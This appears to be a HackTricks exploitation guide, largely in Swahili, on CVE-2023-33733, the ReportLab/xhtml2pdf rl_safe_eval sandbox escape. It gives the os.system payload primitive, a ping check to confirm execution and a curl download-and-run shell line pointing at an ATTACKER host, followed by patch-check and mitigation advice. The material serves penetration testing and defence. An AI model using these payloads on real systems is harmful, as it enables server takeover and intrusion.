ReportLab/xhtml2pdf [[[…]]] kutathmini-misemo RCE (CVE-2023-33733)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaelezea praktiki ya sandbox escape na RCE primitive katika ReportLab’s rl_safe_eval inayotumiwa na xhtml2pdf na pipelines nyingine za PDF-generation wakati wa kutengeneza HTML inayodhibitiwa na mtumiaji ndani ya PDF.

CVE-2023-33733 inaathiri ReportLab versions hadi na ikijumuisha 3.6.12. Katika muktadha fulani wa attribute (kwa mfano color), thamani zilizosukwa ndani ya triple brackets [[[ … ]]] zinatathminiwa upande wa server na rl_safe_eval. Kwa kutengeneza payload inayopinduka kutoka kwenye builtin iliyoorodheshwa kama salama (pow) hadi kwenye globals za function yake ya Python, mshambuliaji anaweza kufikia module os na kutekeleza amri.

Mambo muhimu

  • Kichocheo: inject [[[ … ]]] katika attributes zinazotathminiwa kama ndani ya markup inayotafsiriwa na ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval inabadilisha au kuondoa builtins hatarishi lakini functions zilizotathminiwa bado zinaonyesha globals.
  • Ku-bypass: tengeneza class ya muda Word ili ku-bypass ukaguzi wa majina wa rl_safe_eval na kufikia string “globals” huku ukiepuka uhalifu wa kuchuja dunder.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Utulivu: Rudisha thamani halali kwa attribute baada ya utekelezaji (kwa color, tumia ‘red’).

Wakati wa kujaribu

  • Applications zinazotoa HTML-to-PDF export (profiles, invoices, reports) na zinaonyesha xhtml2pdf/ReportLab katika PDF metadata au maoni ya HTTP response.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • HTTP response kwa PDF mara nyingi huanza na comment ya ReportLab generator

Jinsi ku-bypass kwa sandbox kunavyofanya kazi

  • rl_safe_eval inafuta au kubadilisha builtins nyingi (getattr, type, pow, …) na inaweka uchujaji wa majina kupiga marufuku attributes zinazoanza na __ au ziko katika denylist.
  • Hata hivyo, functions salama zinaishi katika kamusi ya globals inayofikika kama func.globals.
  • Tumia type(type(1)) kupata tena function asli ya builtin type (ku-bypass wrapper ya ReportLab), kisha fafanua class Word inayotokana na str yenye tabia iliyobadilishwa ya kulinganisha ili:
  • .startswith(‘’) → kila mara False (ku-bypass ukaguzi wa jina startswith(‘’))
  • .eq inarudisha False tu kwa kulinganisha kwa mara ya kwanza (ku-bypass ukaguzi wa uanachama wa denylist) na True baadaye (hivyo getattr ya Python inafanya kazi)
  • .hash ni sawa na hash(str(self))
  • Kwa hili, getattr(pow, Word(‘globals’)) inarudisha kamusi ya globals ya function pow iliyozungushwa, ambayo inajumuisha module os iliyohamishwa. Kisha: ['os'].system('<cmd>').

Mfano mdogo wa muundo wa matumizi (mfano wa attribute) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.

exploit

  • Aina ya list-comprehension inaruhusu usemi mmoja unaokubalika na rl_safe_eval.
  • Kiambatisho kinachofuata na ‘red’ hurudisha rangi halali ya CSS ili rendering isiweze kuvunjika.
  • Badilisha amri inapohitajika; tumia ping kuthibitisha utekelezaji kwa tcpdump.

Mtiririko wa operesheni

  1. Tambua PDF generator
  • PDF Producer inaonyesha xhtml2pdf; HTTP response ina comment ya ReportLab.
  1. Pata input inayorudishwa ndani ya PDF (kwa mfano, profile bio/description) na chochea export.
  2. Thibitisha utekelezaji kwa ICMP yenye kelele ndogo
  • Run: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows mara nyingi inatuma hasa echo requests nne kwa default.
  1. Pata shell
  • Kwa Windows, mbinu ya hatua mbili yenye kuaminika inaepuka matatizo ya quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Kwa targets za Linux, hatua mbili zinazofanana kwa curl/wget pia zinawezekana:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Vidokezo na ushauri

  • Muktadha wa attribute: color ni attribute inayojulikana kuwa inatathminiwa; attributes nyingine katika ReportLab markup pia zinaweza kutathminiwa. Ikiwa sehemu moja imesafishwa, jaribu nyingine zinazotumika kwenye mtiririko wa PDF (field tofauti, table styles, n.k.).
  • Quoting: Weka amri fupi. Downloads za hatua mbili hupunguza kwa kiasi kikubwa shida za quoting na escaping.
  • Uaminifu: Ikiwa exports zinahifadhiwa cache au kuwekwa kwenye queue, badilisha kidogo payload (mf., njia au query za nasibu) kuepuka kufika kwenye cache.

Hali ya patch (2024–2025) na kutambua backports

  • 3.6.13 (27 Apr 2023) ilirekebisha colors.toColor kuwa parser ya AST-walk; releases mpya za 4.x zinaendelea kutumia njia hii. Kufanya rl_settings.toColorCanUse iwe rl_safe_eval au rl_extended_literal_eval kurerudisha evaluator iliyo na kipengele hatarishi hata kwenye versions za sasa.
  • Sehemu kadhaa za distributions hutoa fixes zilizorekebishwa (backported) huku zikihifadhi nambari za version kama 3.6.12-1+deb12u1; usitegemee semantic version peke yake. Grep colors.py for ast.parse au chunguza toColor wakati wa runtime kuthibitisha parser salama iko inatumika (tazama ukaguzi mfupi hapa chini).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Uzuiaji na utambuzi

  • Sasisha ReportLab hadi 3.6.13 au baadaye (CVE-2023-33733 imerekebishwa). Fuata taarifa za usalama pia katika vifurushi vya distro.
  • Usiweke HTML/markup inayodhibitiwa na mtumiaji moja kwa moja ndani ya xhtml2pdf/ReportLab bila kusafisha kwa uangalifu. Ondoa/katae muundo za tathmini za [[[…]]] na lebo maalum za muuzaji wakati ingizo halitoki kwa kuaminika.
  • Fikiria kuzima au kuifunga kabisa matumizi ya rl_safe_eval kwa ingizo lisilo la kuaminika.
  • Fuatilia muunganisho unaoshuku unaotoka wakati wa uzalishaji wa PDF (mf., ICMP/HTTP kutoka kwa seva za programu wakati wa kusafirisha nyaraka).

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks